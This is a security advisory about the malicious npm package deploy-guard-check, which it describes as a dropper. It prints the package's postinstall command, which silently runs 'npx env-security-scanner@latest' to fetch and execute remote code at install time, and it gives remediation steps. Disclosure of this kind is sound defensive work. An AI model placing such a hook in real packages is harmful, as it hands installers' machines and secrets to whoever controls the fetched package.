MAL-2026-4237 Malicious code in deploy-guard-check (npm)

The package is a thin dropper. Its package.json postinstall hook runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching whatever version of env-security-scanner is current on the npm registry at install time and executing it on the installer's machine. The errors are silently swallowed by a try/catch, hiding failures from the installer. The package has no functionality of its own: index.js (used as both main and bin) does the same npx env-security-scanner@latest audit_environment invocation. Whoever controls the env-security-scanner package — or whoever takes it over in the future — can ship arbitrary code to every installer of this package at any time. Author metadata is a generic placeholder ("Safe Deploy Initiative"). This is the canonical install-time-RCE dropper pattern: unpinned @latest reference + lifecycle hook + no functionality except summoning another package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.